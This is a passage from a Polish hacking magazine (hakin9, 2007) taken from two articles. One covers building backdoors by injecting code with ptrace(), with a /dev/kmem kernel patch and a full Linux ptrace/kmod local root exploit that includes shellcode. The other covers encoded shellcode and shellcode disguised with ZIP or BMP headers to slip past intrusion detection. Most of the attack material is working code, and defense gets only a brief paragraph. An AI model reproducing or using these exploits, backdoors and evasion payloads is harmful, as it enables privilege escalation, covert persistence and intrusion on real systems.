munikację procesu, a nawet dokład-
nie cały przepływ wykonania. Możesz
dodawać nowe funkcje do niego, lub
usuwać niektóre (jak funkcje logują-
ce) i możesz też wstawiać niewidzial-
ne furtki. Admini zwykle ufają swoim
daemonom, więc jeśli zainfekujesz
named, jest duża szansa, że nikt tego
nie namierzy, jeśli nie otworzysz no-
Listing 8b.
Łata na jądro umożliwiająca ptrace() na init
/* get system_call() address */
read_kmem
(
idt
+
(
0x80
<<
3
)
,
buffer
,
8
);
int80
=
(
*(
unsigned
short
*)(
buffer
+
6
)
<<
16
)
+
*(
unsigned
short
*)(
buffer
);
/* get system_call_table address */
read_kmem
(
int80
,
buffer
,
BUFSIZE
);
if
(
!
(
p
=
memmem
(
buffer
,
BUFSIZE
,
"
\x
FF
\x
14
\x
85"
,
3
)
)
)
{
fprintf
(
stderr
,
"fatal: can't locate sys_call_table
\n
"
);
return
(
18
);
}
sct
=
*(
int
*)(
p
+
3
);
printf
(
" . sct @ 0x%08X
\n
"
,
sct
);
/* get sys_ptrace() address and patch it */
read_kmem
(
(
off_t
)
(
p
+
3
-
buffer
+
syscall
)
,
buffer
,
4
);
read_kmem
(
sct
+
__NR_ptrace
*
4
,
(
void
*)
&
ptrace
,
4
);
read_kmem
(
ptrace
,
buffer
,
BUFSIZE
);
if
(
(
p
=
memmem
(
buffer
,
BUFSIZE
,
"
\x
83
\x
FE
\x
10"
,
3
)
)
)
{
p
-=
7
;
c
=
*
p
^
1
;
kmode
=
*
p
&
1
;
gcc_ver
=
GCC_295
;
}
else
{
if
(
(
p
=
memmem
(
buffer
,
BUFSIZE
,
"
\x
83
\x
FB
\x
10"
,
3
)
)
)
{
p
-=
2
;
c
=
*
p
^
4
;
kmode
=
*
p
&
4
;
gcc_ver
=
GCC_3XX
;
}
else
{
fprintf
(
stderr
,
"fatal: can't find patch 1 address
\n
"
);
return
(
19
);
}
}
write_kmem
(
p
-
buffer
+
ptrace
,
&
c
,
1
);
printf
(
" . kp1 @ 0x%08X
\n
"
,
p
-
buffer
+
ptrace
);
/* get ptrace_attach() address and patch it */
if
(
gcc_ver
==
GCC_3XX
)
{
p
+=
5
;
ptrace
+=
*(
int
*)(
p
+
2
)
+
p
+
6
-
buffer
;
read_kmem
(
ptrace
,
buffer
,
BUFSIZE
);
p
=
buffer
;
}
if
(
!
(
p
=
memchr
(
p
,
0xE8
,
24
)
)
)
{
fprintf
(
stderr
,
"fatal: can't locate ptrace_attach
\n
"
);
return
(
20
);
}
ptrace
+=
*(
int
*)(
p
+
1
)
+
p
+
5
-
buffer
;
read_kmem
(
ptrace
,
buffer
,
BUFSIZE
);
if
(
!
(
p
=
memmem
(
buffer
,
BUFSIZE
,
"
\x
83
\x
79
\x
7C"
,
3
)
)
)
{
fprintf
(
stderr
,
"fatal: can't find patch 2 address
\n
"
);
return
(
21
);
}
c
=
(
!
kmode
);
write_kmem
(
p
+
3
-
buffer
+
ptrace
,
&
c
,
1
);
Pisanie własnych furtek
wego portu. Po prostu pozostawimy
powłokę na naszym terminalu, żeby
zapobiec łatwemu wykryciu. Zresztą,
później będzie o tym więcej.
Objaśnienia
do różnych furtek
Mamy do dyspozycji wiele możliwych
furtek, ale chyba nie znasz chyba
wszystkich? Zagłębmy się w szczegó-
ły. Pokażę parę zrzutów ekranu róż-
nych pasożytów w akcji i wyjaśnię, o
co tam chodzi, żeby przedstawić lep-
szy obraz tego, co się tam dzieje.
Infekcja procesu init
za pomocą /dev/kmem
Zwykle nie możesz się podłączyć
do procesu init przez
ptrace()
. Jed-
nak odpowiednim trikiem możemy
proces init uczynić możliwym do
śledzenia i w ten sposób zainfeko-
wać go pasożytem. Rzućmy okiem
na wywołanie systemowe
ptrace()
(
sys _ ptrace
), znajdujące się w arch/
i386/kernel/ptrace.c:
ret = -EPERM;
if (pid == 1)
/* you may not mess with init */
goto out_tsk;
if (request == PTRACE_ATTACH)
{
Figure 2.
Infekowanie procesu
Figure 3.
Testowanie infekcji
Listing 8c.
Łata na jądro umożliwiająca ptrace() na init
printf
(
" . kp2 @ 0x%08X
\n
"
,
p
+
3
-
buffer
+
ptrace
);
/* success */
if
(
c
)
printf
(
" - kernel unpatched
\n
"
);
else
printf
(
" + kernel patched
\n
"
);
close
(
kmem_fd
);
return
(
0
);
}
R
E
K
L
A
M
A
hakin9 Nr 1/2007
www.hakin9.org
Atak
22
ret = ptrace_attach(child);
goto out_tsk;
}
Christophe Devine napisał mały pro-
gram, który jest rozprowadzany na li-
cencji publicznej GNU, do załatania
jądra w czasie wykonywania, żeby
można było śledzić init. Załączam
ten kod (patrz Listingi 8). Teraz po
załataniu tą metodą
/dev/kmem
, moż-
na zainfekować proces init. Jednak
po zainfekowaniu, init nie będzie się
już znajdował na szczycie procesu
i przez to może ujawnić, że system
został naruszony.
Snifer do read()
Wystarczy teorii, skupmy się teraz
na konstrukcji sniffera read(). Po
prostu wstrzykniemy instrukcje pa-
sożyta w segment kodu, nadpisując
tym samym globalny offset funkcji
read() tak, aby wskazywała na nasz
kod. Jego wykonanie będzie imito-
wało funkcję read() z uzupełnieniem
o logowanie wszystkiego do określo-
nego pliku. Kod jest wart więcej niż
słowa, więc zacznijmy. Na początek
spójrzmy na nasz kod zastępczy: (Li-
sting 6)
Istotną rzeczą, którą w tym miej-
scu trzeba odnotować, pozwalającą
uniknąć męczącej sesji z debuge-
rem, jest to, iż różne wersje gcc trak-
tują wywołanie
inline asm()
inaczej.
W związku z tym, nawet jeśli powyż-
sze wywołanie działa na niektórych
wersjach gcc, na nowszych już nie-
koniecznie. Aby temu zaradzić po-
stąpimy tak jak w pierwszym przyto-
czonym przykładzie:
asm("movl $1, %eax\n"
"movl $123, %ebx\n"
"int $0x80\n");
Nasz kod zastępczy jest gotowy.
To podstawa naszej furtki, paso-
żyt. Przejdźmy teraz do potrzebnych
funkcji. Komentarze prezentuję po-
wyżej funkcji:
Furtka przez dup2()
No cóż, ta furtka jest całkiem nie-
widzialna i netstat jej nie pokazu-
je. Oczywiście nie korzystamy z
Listing 9a.
Linux kernel ptrace()/kmod local root exploit
#include
<grp.h>
#include
<stdio.h>
#include
<fcntl.h>
#include
<errno.h>
#include
<paths.h>
#include
<string.h>
#include
<stdlib.h>
#include
<signal.h>
#include
<unistd.h>
#include
<sys/wait.h>
#include
<sys/stat.h>
#include
<sys/param.h>
#include
<sys/types.h>
#include
<sys/ptrace.h>
#include
<sys/socket.h>
#include
<linux/user.h>
char
cliphcode
[]
=
"
\x
90
\x
90
\x
eb
\x
1f
\x
b8
\x
b6
\x
00
\x
00"
"
\x
00
\x
5b
\x
31
\x
c9
\x
89
\x
ca
\x
cd
\x
80"
"
\x
b8
\x
0f
\x
00
\x
00
\x
00
\x
b9
\x
ed
\x
0d"
"
\x
00
\x
00
\x
cd
\x
80
\x
89
\x
d0
\x
89
\x
d3"
"
\x
40
\x
cd
\x
80
\x
e8
\x
dc
\x
ff
\x
ff
\x
ff"
;
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t
parent
=
1
;
pid_t
child
=
1
;
pid_t
victim
=
1
;
volatile
int
gotchild
=
0
;
void
fatal
(
char
*
msg
)
{
perror
(
msg
);
kill
(
parent
,
SIGKILL
);
kill
(
child
,
SIGKILL
);
kill
(
victim
,
SIGKILL
);
}
void
putcode
(
unsigned
long
*
dst
)
{
char
buf
[
MAXPATHLEN
+
CODE_SIZE
];
unsigned
long
*
src
;
int
i
,
len
;
memcpy
(
buf
,
cliphcode
,
CODE_SIZE
);
len
=
readlink
(
"/proc/self/exe"
,
buf
+
CODE_SIZE
,
MAXPATHLEN
-
1
);
if
(
len
==
-
1
)
fatal
(
"[-] Unable to read /proc/self/exe"
);
len
+=
CODE_SIZE
+
1
;
buf
[
len
]
=
'
\0
'
;
src
=
(
unsigned
long
*)
buf
;
for
(
i
=
0
;
i
<
len
;
i
+=
4
)
if
(
ptrace
(
PTRACE_POKETEXT
,
victim
,
dst
++
,
*
src
++)
==
-
1
)
fatal
(
"[-] Unable to write shellcode"
);
}
void
sigchld
(
int
signo
)
{
struct
user_regs_struct
regs
;
if
(
gotchild
++
==
0
)
return
;
fprintf
(
stderr
,
"[+] Signal caught
\n
"
);
if
(
ptrace
(
PTRACE_GETREGS
,
victim
,
NULL
,
&
regs
)
==
-
1
)
fatal
(
"[-] Unable to read registers"
);
fprintf
(
stderr
,
"[+] Shellcode placed at 0x%08lx
\n
"
,
regs
.
eip
);
putcode
((
unsigned
long
*)
regs
.
eip
);
fprintf
(
stderr
,
"[+] Now wait for suid shell...
\n
"
);
if
(
ptrace
(
PTRACE_DETACH
,
victim
,
0
,
0
)
==
-
1
)
fatal
(
"[-] Unable to detach from victim"
);
exit
(
0
);
Pisanie własnych furtek
hakin9 Nr 1/2007
www.hakin9.org
23
Listing 9b.
Eksploit na lokalnego roota do ptrace()/kmod jądra Linuksa
}
void
sigalrm
(
int
signo
)
{
errno
=
ECANCELED
;
fatal
(
"[-] Fatal error"
);
}
void
do_child
(
void
)
{
int
err
;
child
=
getpid
();
victim
=
child
+
1
;
signal
(
SIGCHLD
,
sigchld
);
do
err
=
ptrace
(
PTRACE_ATTACH
,
victim
,
0
,
0
);
while
(
err
==
-
1
&&
errno
==
ESRCH
);
if
(
err
==
-
1
)
fatal
(
"[-] Unable to attach"
);
fprintf
(
stderr
,
"[+] Attached to %d
\n
"
,
victim
);
while
(!
gotchild
)
;
if
(
ptrace
(
PTRACE_SYSCALL
,
victim
,
0
,
0
)
==
-
1
)
fatal
(
"[-] Unable to setup syscall trace"
);
fprintf
(
stderr
,
"[+] Waiting for signal
\n
"
);
for
(;;);
}
void
do_parent
(
char
*
progname
)
{
struct
stat
st
;
int
err
;
errno
=
0
;
socket
(
AF_SECURITY
,
SOCK_STREAM
,
1
);
do
{
err
=
stat
(
progname
,
&
st
);
}
while
(
err
==
0
&&
(
st
.
st_mode
&
S_ISUID
)
!=
S_ISUID
);
if
(
err
==
-
1
)
fatal
(
"[-] Unable to stat myself"
);
alarm
(
0
);
system
(
progname
);
}
void
prepare
(
void
)
{
if
(
geteuid
()
==
0
)
{
initgroups
(
"root"
,
0
);
setgid
(
0
);
setuid
(
0
);
execl
(
_PATH_BSHELL
,
_PATH_BSHELL
,
NULL
);
fatal
(
"[-] Unable to spawn shell"
);
}
}
int
main
(
int
argc
,
char
**
argv
)
{
prepare
();
signal
(
SIGALRM
,
sigalrm
);
alarm
(
10
);
parent
=
getpid
();
child
=
fork
();
victim
=
child
+
1
;
if
(
child
==
-
1
)
fatal
(
"[-] Unable to fork"
);
if
(
child
==
0
)
do_child
();
else
do_parent
(
argv
[
0
]);
return
0
;
}
gniazd, w związku z czym musimy
napisać własną implementacje po-
włoki. Trzeba przy tym pamiętać,
w jaki sposób działa powłoka wią-
żąca. Duplikuje (używając
dup2
) de-
skryptory,
stdout/in/err
by podpiąć
je pod gniazdko tak, aby nasza po-
włoka pokazała się po właściwej
stronie, a nie na serwerze. Nasz
kod nie używa gniazd, w związku z
czym jest niewidzialny dla zwykłe-
go admina. Wstrzykiwany kod może
uzyskać dostęp do wszystkich da-
nych procesu, w tym deskryptorów.
Gdy łączymy się ze zdalną usługą,
wywoływany jest
fork()
a następ-
nie
accept()
, więc alokowane są no-
we deskryptory, do których chcemy
uzyskać dostęp.
Jest kilka na to sposobów: l mo-
żemy nadpisać
accept()
naszą wła-
sną implementacją, która zapisze
zwracane wartości do jakiegoś pliku,
z którego będzie można je odczytać.
Jest to lepsze niż poprzednio, lecz
nie idealne wyście.
l możemy użyć
procfs
, informa-
cja o stanie używanych deskrypto-
rów jest w
/proc/ _ pid _ /fd.
Po pro-
stu wygrepuj ostatni deskryptor. Ten
wariant nie jest jednak w pełni zado-
walający, gdyż jego realizacja zajmie
z byt dużo miejsca. Również
procfs
może być niedostępny w niektórych
systemach.
l metoda
dup2
. Nie zajmuje do-
datkowego miejsca, lecz praw-
dopodobnie nie jest uniwersalna.
Zwykle proces ma stałą ilość uży-
wanych deskryptorów i możemy
je wykryć używając strace. Ma-
ły przykład z Netstat: $nc -lp 1111.
czytamy pid, a następnie wykonu-
jemy strace -p. Z kolei po komen-
dzie telnet localhost 1111 odczytu-
jemy zwracaną wartość z accept(),
która z reguły jest 3 bądź 4 w więk-
szości przypadków.
Połączenie zwrotne
Zwykle chcemy odpalić powłokę
wiążącą, lecz co zrobić w sytuacji,
gdy firewall blokuje port? Rozwiąza-
niem jest połączenie wychodzące.
Z reguły wszystkie tego typu połą-
czenia są dozwolone, lecz czasami
istnieje ograniczenie do kilku do-
hakin9 Nr 1/2007
www.hakin9.org
Atak
24
zwolonych portów. W tym wypad-
ku można sprawdzić DNS (port
53), WWW (port 80) lub FTP (port
21) itd. Ostatnim pozostającym ele-
mentem będzie stworzenie kodu
zastępczego do połączenia zwrot-
nego, a przy technikach, które by-
ły prezentowane nie powinno sta-
nowić to problemu. Na początek
sugeruję użyć stałej wartości dla
adresu IP takiej jak #define CB_IP
127.0.0.1 a następnie po prostu wy-
konać
connect()
i odpalić
/bin/sh
-i.
Przykład z życia
Po całej tej teorii przyszedł czas na
jakiś rzeczywisty działający kod, zga-
dza się? No to do roboty. Na sche-
macie 1 widać ściąganie wstrzykiwa-
cza
ptrace()
, zwanego malaria, do-
stępnego w internecie.
Odpalmy Netcat w tle. Będzie
stanowił on nasz cel, który staramy
się zainfekować. Schemat 2 pokazu-
je sposób infekcji procesu.
Teraz, gdy nasz kod powłoko-
wy jest wczytany do pamięci, może-
my dostrzec na ostatnim ekranie no-
wy nasłuchujący port TCP. Gdy się
z nim połączymy uzyskamy powło-
kę roota!
Był to przykład prostego wstrzy-
kiwacza z Internetu. Istnieją jednak
bardziej zaawansowane wersje ła-
twe do znalezienia, wiec jeśli chcesz
znaleźć i przetestować coś więcej,
sugeruję przeszukanie Google’a.
Ochrona
przed tego typu atakami
Zanim zaprezentujemy sposób
ochrony przed tego typu ataka-
mi, najpierw musimy zapoznać się
ze sposobem detekcji tego typu in-
fekcji. Najlepszym na to sposobem
jest porównanie adresów z Global-
nej Tablicy Przesunięć. Można rów-
nież napisać lkm, które limituje wy-
konanie
ptrace()
do root-a, gdyż jeśli
atakujący posiada juz prawa root-a,
nie ma się już co martwić o to, jakiej
furtki używa, ale można się dowie-
dzieć, jak uzyskał do niej dostęp, a
następnie czeka cię reinstalacja. Ta-
kie lkm-y istnieją od lat i nie powinno
być trudno je znaleźć.
Dodatek
2.4.x kernel patcher pozwala na
ptrace-owanie w procesie init (Co-
pyright (c) 2003 Christophe Devine
devine@iie.cnam.fr). Jest to dar-
mowy program, który możesz re-
dystrybuować i modyfikować w ra-
mach licencji GNU (General Public
License) opublikowanej przez Free
Software Fundation w wersji dru-
giej lub późniejszej. Program ten
jest użyteczny, lecz nie daje żad-
nych gwarancji, w tym gwarancji
handlowej, ani sprawdzania się w
określonym zastosowaniu. Odsyła-
my do GNU General Public Licen-
se po więcej szczegółów. Powinie-
neś otrzymać kopię GNU General
Public License wraz z tym progra-
mem, jeśli nie, możesz napisać do
Free Software Fundation, Inc., 59
Temple Place, Suite 330, Boston,
MA 02111-1307 USA.
Eksploit na lokalnego roota do
ptrace()/kmod
jądra Linuksa. Ten
kod wykorzystuje sytuację wyści-
gu w
kernel/kmod.c
, który tworzy
wątek w sposób narażający bez-
pieczeństwo. Ta dziura pozwala na
ptrace()
w sklonowanym procesie,
dając możliwość uzyskania kontro-
li nad uprzywilejowanym plikiem bi-
narnym modprobe. Powinno dzia-
łać pod każdym jądrem 2.2.x i 2.4.x.
Odkryłem ten głupi błąd niezależnie
25 stycznia 2003, tzn. (prawie) dwa
miesiące przed poprawką i jej opubli-
kowaniem przez Red Hata i innych.
Wojciech Purczyński cliph@isec.pl.
TEN PROGRAM JEST WYŁĄCZ-
NIE DO CELÓW EDUKACYJNYCH
I JEST DOSTARCZONY W TAKIEJ
POSTACI BEZ ŻADNEJ GWARAN-
CJI ((c) 2003 Copyright by iSEC Se-
curity Research).
Podsumowanie
No dobrze, nauczyliśmy się niezłych
sposobów na manipulowanie cho-
dzącymi programami w pamięci. Da-
je nam to wiele możliwości zmienia-
nia przepływu wykonania w taki spo-
sób, że możemy całkowicie kontrolo-
wać program.
Załóżmy, że mamy Daemona
O Zamkniętych Źródłach, który nie
ma wystarczających elementów lo-
gujących, a plik z logiem jest mocno
uproszczony, ale my chcemy więcej
informacji! Normalnie to trzeba by
z tym żyć, albo zażądać poprawek
od dostawcy. Teraz możesz sobie to
sam uprościć!
Piszesz drobny wstrzykiwacz
ptrace()
, który zamienia funkcje lo-
gujące na twoje, albo po prostu lo-
gujesz wszystko poprzez podpina-
nie się pod
read()/write()
czy po-
dobnych.
Zwykle ta wiedza jest wykorzy-
stywana przez testery penetracji z
powłoką z wstrzykiwaczem
ptrace()
do włamania się na chroot, albo ha-
kerów do furtkowania binariów, ale ta
wiedza daje ci też większą elastycz-
ność w pracy administratorskiej przy
pracy z oprogramowaniem zamknię-
tym. l
O autorze
Autor jest zaangażowany w działkę bezpieczeństwa IT od ponad 10 lat i pracował jako
administrator bezpieczeństwa i inżynier oprogramowania. Od 2004 roku jest CEO w
firmie GroundZero Security Research w Niemczech. Wciąż pisze kody eksploitów dla
Proof of concept, aktywnie bada sprawy związane z bezpieczeństwem i wykonuje te-
sty penetracji. Kontakt z autorem: stefan.klaas@gmx.net
W Sieci
• http://publib16.boulder.ibm.com/pseries/en_US/libs/basetrf1/ptrace.htm - techni-
cal Reference: Base Operating System and Extensions, Volume 1,
• http://www.phrack.com/phrack/59/p59-0x0c.txt – budowanie kodu powłokowego
wstrzykującego przez
ptrace()
,
• http://www.die.net/doc/linux/man/man2/ptrace.2.html – man 2
ptrace()
.
www.hakin9.org
hakin9 Nr 1/2007
26
Atak
N
ajbardziej powszechne i popularne ko-
dy powłoki działają na bazie dostępu do
linii poleceń systemu, który jest celem
ataku – stąd zresztą wzięła się nazwa tej tech-
niki. Powłoka to program, który daje dostęp do
serwisów udostępnianych przez jadra systemu.
Przykładami powłoki mogą być CMD.EXE (dla
systemów z rodziny Windows) bądź /bin/bash
(dla systemów z rodziny Linux, UNIX). Kody po-
włoki próbują uruchomić właśnie te aplikacje.
Zagrożenie powiązane z kodem powłoki jest
bardzo duże, jako że kod taki będzie wywoła-
ny z takimi samymi przywilejami jak wykorzy-
stany przez niego proces – mogą być to zarów-
no przywileje użytkownika jak i administratora.
Mają te ostatnie, kod powłoki ma moc do prze-
prowadzenia niemalże każdej operacji w syste-
mie, a na dodatek może zrobić to w niewidocz-
ny sposób, jako że jego poczynania będą ma-
skowane przez eksploatowny proces.
Istnieje duża różnorodność rozwiązań
stworzonych w celu zapobiegania kodów
powłoki w systemach. Może to być zarów-
no instalacja dedykowanych systemów detek-
cji i usuwania intruzów jak i różnego rodzaju
czynności prewencyjne narzucone przez ad-
ministratora systemu. Z punktu widzenia ata-
kującego są to pewne przeszkody. W niniej-
szym artykule przedstawię koncepcje na któ-
rych bazuje część ze wspomnianych rozwią-
zań wskazując przy okazji na ich słabe strony.
Pokażę również przykład rzeczywistego kodu
powłoki, który wykorzystuje słabe punkty w
celu ominięcia systemu zabezpieczeń. Mimo
tego, iż prezentowane kody powłoki zostały
Schellcody
nowej genaracji
Itzik Kotler
stopień trudności
Kod powłoki jest fragmentem kodu maszynowego, który
wykorzystuje się jako ładunek przy atakach bazujących na
wykorzystaniu błędów softwarowych. Wykorzystywanie słabych
punktów w rodzaju przepełnienia bufora przydzielonego na stosie
lub stercie lub stringów formatujących wymagają kodu powłoki. Kod
ten będzie wykonany jeśli proces wykorzystania luki się powiedzie.
Z artykułu dowiesz...
• jakie przeszkody spotyka napastnik próbujący
uruchomić kod powłoki na systemie będącym
celem ataku oraz jak wyglądają sposoby obej-
ścia tych przeszkód,
• jak projektować i implementować bardziej
sprytne kody powłoki.
Powinieneś wiedzieć...
• podstawy Assemblera x86 dla platformy Linux,
• podstawowe informacje na temat technik ata-
ków bazujących na przepełnieniu bufora przy-
dzielonego na stosie lub na stercie, oraz ata-
ków wykonywanych przy pomocy napisów for-
matujących.
Ewolucja shellcodów
hakin9 Nr 1/2007
www.hakin9.org
27
zaprojektowane dla systemów Linux
działających w architekturze x86 to
część koncepcji na których one ba-
zują można uznać za przenośnie i
wykorzystać na innych platformach.
Ewolucja kontra
diagnozowanie
„po kablu”
Metoda diagnozowania „po kablu”
(ang. Wire diagnose) jest często
implementowana w ramach syste-
mów klasy IDS (ang. Intrusion Detec-
tion Systems) oraz IPS (ang. Intru-
sion Prevention Systems). Rozwią-
zania te różnią się przede wszystkim
rodzajem zakresami kontroli. Pierw-
sze skupiają się na warstwie komuni-
kacyjnej próbując wyłapać tu wszel-
kie rodzaje podejrzanych pakie-
tów w Sieci, które przebrnęły przez
klasyczną zaporę systemu; drugie
monitorują system na poziomie hosta,
próbując wyłapać tu wszelkie rodzaje
złośliwych zachowań.
Metoda diagnozowania „po ka-
blu” jest jedną z właściwości NIDS
(systemu detekcji intruzów) i pole-
ga na rozpoznawaniu i klasyfikacji
pakietów nadchodzących z Sieci
zanim dotrą one do swoich punk-
tów przeznaczenia. W przypadku
rozpoznania potencjalnego niebez-
pieczeństwa system podnosi alarm.
Podobnie jak programy antywiruso-
we, NIDS posiada bazę danych pod-
pisów i wzorców, które związane są
z próbami włamań do systemów.
Baza taka składa się zazwyczaj
z listy najczęściej używanych baj-
tów, lub sekwencji bajtów pojawiają-
cych się w kodach powłoki.
Siła tej metody zależy z jednej
strony od jakości informacji składo-
wanych w bazie, zaś z drugiej – od
tego na ile „typowa” jest struktura ko-
du powłoki, który próbuje włamać się
do systemu. Ponieważ z punktu wi-
dzenia napastnika baza reguł NIDS
jest niedostępna, dlatego jedynym
sposobem na obejście tej przeszko-
dy jest zmiana struktury kodu powło-
ki; zjawisko to zwane jest polimorfi-
zmem.
Innym słabym punktem tej me-
tody są warstwy bezpiecznego
przesyłania danych w Sieci. Pro-
Listing 1.
Zaszyfrowane kody powłoki składają się z dwóch części
#
#
(
linux
/
x86
)
execve
(
"/bin/sh"
,
[
"/bin/sh"
]
,
NULL
)
/
zakodowane
przez
+
1
-
39
bajt
ó
w
# - izik@tty64.org
#
.
section
.
text
.
global
_start
_start
:
#
# Zakodowany ładunek
(
drugi
kod
pow
ł
oki
)
#
pushl
$
0x81cee28a
pushl
$
0x54530cb1
pushl
$
0xe48a6f6a
pushl
$
0x63306901
pushl
$
0x69743069
pushl
$
0x14
popl
%
ecx
#
# Pętla dekodująca
#
_unpack_loop
:
decb
(%
esp
,
%
ecx
,
1
)
decl
%
ecx
jns
_unpack_loop
incl
%
ecx
mul
%
ecx
#
# Skocz do
zdekodowanego
kodu
pow
ł
oki
#
push
%
esp
ret
Listing 2.
Kod powłoki rozpoczyna się serią instrukcji PUSH
#
# Zakodowany ładunek
(
drugi
kod
pow
ł
oki
)
#
pushl
$
0x81cee28a
pushl
$
0x54530cb1
pushl
$
0xe48a6f6a
pushl
$
0x63306901
pushl
$
0x69743069
Listing 3.
Skok pętli do ładunku umieszczonego na stosie
#
# Pętla dekodująca
#
_unpack_loop
:
decb
(%
esp
,
%
ecx
,
1
)
decl
%
ecx
jns
_unpack_loop
incl
%
ecx
mul
%
ecx
#
# Jump to the decoded shellcode
#
push
%
esp
ret
hakin9 Nr 1/2007
www.hakin9.org
Atak
28
tokoły typu SSL czy VPN (IPSec)
są wykorzystywane w celu tzw. tu-
nelowania, które omija NIDS, jako
że przekazywane dane są szyfro-
wane i deszyfrowane w końcowych
punktach połączenia. W tej sytuacji
NIDS nie jest w stanie zdekodować
przychodzących danych i baza re-
guł staje się bezużyteczna.
CJO0TI = /BIN/SH
Szyfrowanie kodu powłoki to pod-
stawowy mechanizm prowadzą-
cy do uzyskania polimorfizmu. Pro-
ces ten pozwala bezkarnie wykorzy-
stywać „oznaczone” bajty i sekwen-
cje nie martwiąc się o to, ze zostaną
one przechwycone po stronie NIDS.
Istnieje cała gama metod szyfrowa-
nia, przy czym większość z nich ba-
zuje na funkcjach matematycznych
lub bramkach logicznych. Szyfrowa-
nie kodu powłoki może również po-
legać na tworzeniu luk w strumieniu
danych, który przechodzi przez sieć
– luki te są usuwane przed wywoła-
niem kodu w docelowym systemie.
Polimorfizm kodów powłoki
można zauważyć również w przy-
padku kiedy próba ataku opiera
się o protokół wymagający ograni-
czonego zestawu znaków. Na przy-
kład protokoły działające w oparciu
o dane tekstowe automatycznie od-
rzucają jakiekolwiek dane binarne.
W takim przypadku kody powłoki są
reprezentowane w postaci alfanu-
merycznej.
Zaszyfrowane kody powłoki skła-
dają się z dwóch części: zakodowa-
nego ładunku oraz dekodera, który
deszyfruje pierwszą część i na końcu
wykonuje do niej skok. (Listing 1)
Przedstawiony w Listingu 1. kod
powłoki w momencie wywołania ma
postać execve("/bin/sh"). Jednakże
w postaci zakodowanej wygląda zu-
pełnie inaczej.
Kod powłoki rozpoczyna się serią
instrukcji PUSH. Przy każdym wywo-
łaniu tej instrukcji na stos wrzucane są
4 bajty zaszyfrowanego ładunku. Stos
jest idealnym miejscem gdzie można
rozpakować niewielką ilość danych i
na dodatek (domyślnie) posiada ze-
zwolenie na czytanie, pisanie i co naj-
bardziej istotne – wykonywanie ko-
du który się aktualnie na nim znajdu-
je.(Listing 2). W dalszej kolejności ma-
my kod dekodera. Szyfrowanie w tym
przypadku jest prostą grą inkrementa-
cji i dekrementacji. Dekoder jest zło-
żony z pętli, która czyta bajt po baj-
cie dane wrzucone na stos i wykonuje
na nich operację odejmowania w ce-
lu przywrócenie oryginalnej wartości.
Po zakończeniu pętli kod powłoki wy-
konuje skok do ładunku umieszczone-
go na stosie (Listing 3.).
Oczywiste jest, że im łatwiejsza
metoda dekodowania tym mniejszy
będzie dekoder. Podejście to ma
jeszcze jedną zaletę – pozwala uży-
wać zabronionych bajtów – chociaż-
by takich jak
NULL
.
NULL
z racji tego,
że jest stosowany jako znacznik koń-
ca napisu, nie powinien być używa-
ny w ciele kodu powłoki (kod taki, w
przypadku ataków polegających na
wykorzystaniu stringów mógłby być
przedwcześnie obcięty).
Jednak przy zastosowaniu szy-
frowania problem znika – podatna
na atak funkcja (np.
strcpy()
) nigdy
nie przetworzy wartości
NULL
, gdyż
jest ona zakodowana.
Pomimo tego, że szyfrowanie
zmienia wygląd zewnętrzny kodu po-
włoki, warto zauważyć iż wynikowa
postać nie zawsze musi być odpor-
na na metodę diagnozowania „po ka-
blu”. Problem w tym, że wielokrotne
wykorzystanie tego samego sche-
matu szyfrowania może sprawić, że
odpowiedzialny za to kod będzie za-
rejestrowany jako wzorzec i umiesz-
Listing 4.
Kod powłoki
#
#
x86
/
linux
–
execve
(
"/bin/
sh"
,
[
"/bin/sh"
,
NULL
])
+
Nag
łó
wek
ZIP
-
28
bajt
ó
w
# - izik@tty64.org
#
.
section
.
text
.
global
_start
_start
:
#
# PK[\03\04], Nagłówek
archiwum
danych
PK
[
Zip
]
(
5
bajt
ó
w
)
#
.
byte
0x50
.
byte
0x4b
.
byte
0x03
.
byte
0x04
.
byte
0x24
#
#
execve
(
"/bin/sh"
,
[
"/bin/sh"
,
NULL
]);
#
push
$
0xb
popl
%
eax
cdq
push
%
edx
push
$
0x68732f2f
push
$
0x6e69622f
mov
%
esp
,
%
ebx
push
%
edx
push
%
ebx
mov
%
esp
,
%
ecx
int
$
0x80
Listing 5a.
Formaty
#
#
x86
/
linux
–
execve
(
"/bin/sh"
,
[
"/bin/sh"
,
NULL
])
+
Nag
łó
wek
24
-
bitowej
Bitmapy
-
23
bajty
# - izik@tty64.org
#
.
section
.
text
.
global
_start
_start
:
#
# Nagłówek 24-bitowej Bitmapy
#
.
byte
0x42
.
byte
0x4D
.
byte
0x36
.
byte
0x91
#
#
execve
(
"/bin/sh"
,
[
"/
bin/sh"
,
NULL
]);
#
push
$
0xb
popl
%
eax
cdq
push
%
edx
push
$
0x68732f2f
O autorze:
Itzik Kotler jest badaczem zajmującym
się problemami bezpieczeństwa w sys-
temach informatycznych, oraz założy-
cielem projektu TTY64. Wspomniany
projekt skupia się na promowaniu tech-
nik programowania zorientowanych na
bezpieczeństwo, a także na wszelkich
aspektach powiązanych z tym tema-
tem. Na stronie domowej projektu moż-
na znaleźć wiele ciekawych informacji
i zasobów powiązanych z tematem
(między innymi przykładowe fragmen-
ty kodu).
Kontakt z autorem: izik@tty64.org
Ewolucja shellcodów
hakin9 Nr 1/2007
www.hakin9.org
29
czony w bazie danych. Aby uzyskać
w miarę niezawodne rozwiązanie na-
leżałoby ciągle modyfikować zarów-
no samą formułę kodu powłoki jak i
metodę szyfrowania tej formuły.
Ja jestem ZIP,
a kim jesteś Ty?
Częstym sposobem na rozróżnienie
dwóch różnych formatów danych jest
próba odczytania pewnych znaczni-
ków. Dla przykładu – do poszczegól-
nych formatów często przypisuje się
konkretne rozszerzenia plików, i co
więcej – lwia część formatów danych
posiada nagłówki opatrzone „ma-
gicznymi” numerami bądź bajtami.
Bajty te są często przydatne kiedy
aplikacja próbuje zweryfikować czy
nadchodzący strumień danych ma w
pożądany format.
Wstawianie do kodu powłoki „ma-
gicznych” bajtów powiązanych z po-
wszechnie rozpoznawanymi forma-
tami plików może być bardzo pomoc-
ne przy oszukiwaniu narzędzi moni-
torujących ruch w Sieci. Szczególnie
w przypadkach prób włamania się do
systemu poprzez takie standardowe
kanały jak poczta elektroniczna czy
zawartość stron webowych, bardzo
ważne jest to aby kod powłoki otrzy-
mał fałszywą „osobowość”. Dla przy-
kładu, kod powłoki, który przedsta-
wia się jako ZIP ma dużą szansę
ogłupić system wykrywania intruzów
i osiągnąć swój cel (Listing 4.).
Kod powłoki zaczyna się 5 bajto-
wym nagłówkiem charakterystycz-
nym dla popularnego formatu kom-
presji – ZIP. W tym przypadku bar-
